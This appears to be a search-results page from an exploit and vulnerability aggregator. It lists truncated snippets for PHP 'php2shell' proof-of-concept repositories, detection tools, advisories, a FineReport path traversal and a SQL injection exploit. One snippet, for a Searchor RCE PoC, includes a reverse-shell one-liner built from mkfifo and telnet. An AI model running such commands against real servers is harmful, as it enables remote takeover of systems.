329530 matches found
Exploit for Improperly Controlled Sequential Memory Allocation in Php
PHP2Shell Detection Rules !PRs Welcomehttps://img.shields...
Exploit for Improperly Controlled Sequential Memory Allocation in Php
php2shell-poc — one-shot pre-auth RCE on stock PHP 8.4.26 Apa...
Exploit for Improperly Controlled Sequential Memory Allocation in Php
💀 ZeroHack php2shell Lab & PoC Framework CVE-2026-109618...
Exploit for Improperly Controlled Sequential Memory Allocation in Php
PHP2Shell Vendor Watch A single-page, live dashboard of vendo...
CVE-2023-43364-Searchor-RCE-Exploit
CVE-2023-43364 – Searchor RCE Exploit PoC Remote Code Execution RCE via unsafe eval usage in Searchor --test Execute Custom Command Run any command on the target server: python3 CVE-2023-43364.py -a "whoami" Examples: python3 CVE-2023-43364.py -a "TF=$mktemp -u;mkfifo $TF && telnet IP PORT 0$TF"...
CVE-2021-48014
FineReport 9.0 contains a path traversal vulnerability in the /WebReport/ReportServer designsavesvg operation that allows unauthenticated attackers to write arbitrary files via the filePath parameter. Attackers can send a POST request with directory traversal sequences in filePath and a CONTENT...
EUVD-2021-34897
FineReport 9.0 contains a path traversal vulnerability in the /WebReport/ReportServer designsavesvg operation that allows unauthenticated attackers to write arbitrary files via the filePath parameter. Attackers can send a POST request with directory traversal sequences in filePath and a CONTENT...
CVE-2021-48014 FineReport 9.0 Unauthenticated Path Traversal File Write via ReportServer
FineReport 9.0 contains a path traversal vulnerability in the /WebReport/ReportServer designsavesvg operation that allows unauthenticated attackers to write arbitrary files via the filePath parameter. Attackers can send a POST request with directory traversal sequences in filePath and a CONTENT...
CVE-2021-48014
FineReport 9.0 is affected by a path traversal vulnerability within the /WebReport/ReportServer design_save_svg operation. This flaw allows unauthenticated attackers to write arbitrary files by providing directory traversal sequences in the filePath parameter. By sending a POST request containing...
Exploit for Improperly Controlled Sequential Memory Allocation in Php
php2shellcheck All-in-one, read-only local checker for t...
CVE-2026-88900
CVE-2026-88900 — camel-jgroups: unsafe Java deserialization of cluster messages Runnable proof-of-concept reproducer for the Apache Camel vulnerability where the jgroups consumer Java-deserialized cluster messages with no filter. JGroupsEndpoint.createExchangeMessage — called for every message th...
CVE-2020-1350
Warning This repository has been archived and is no longer actively maintained. CVE-2020-1350 This Powershell Script is checking if your server is vulnerable for the CVE-2020-1350 Remote Code Execution flaw in the Windows DNS Service. Supported OS for this workaround script Windows Server 2012...
php-cve-2026-fix
php-cve-2026-fix A single Bash script that finds every PHP...
CVE-2025-8971
CVE-2025-8971 SQL Injection Author: Byte Reaper Description : This exploit for CVE-2025-8971, a SQL injection vulnerability in itsourcecode Online Tour and Travel Management System 1.0. The vulnerability exists in /admin/operations/travellers.php and can be exploited remotely via the val-username...
Important: Red Hat Security Advisory: flute, libbase, libfonts, libformula, liblayout, libloader, libreoffice, librepository, libserializer, pentaho-libxml, pentaho-reporting-flow-engine, and sac security, bug fix, and enhancement update
An update for multiple packages is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each...
Exploit for Improperly Controlled Sequential Memory Allocation in Php
php2shellscanner Non-destructive exposure assessment for C...
PHP-FPM Path Info Buffer Underflow - Remote Code Execution
In PHP-FPM before 7.1.33, 7.2.x before 7.2.24, and 7.3.x before 7.3.11, when deployed in certain Nginx configurations with the fastcgisplitpathinfo directive, a crafted request with an empty PATHINFO can trigger a buffer underflow in the php-fpm code. This may allow an unauthenticated remote...
php2shell-detection
php2shell exposure assessment CVE-2026-109618 / CVE-2026-1096...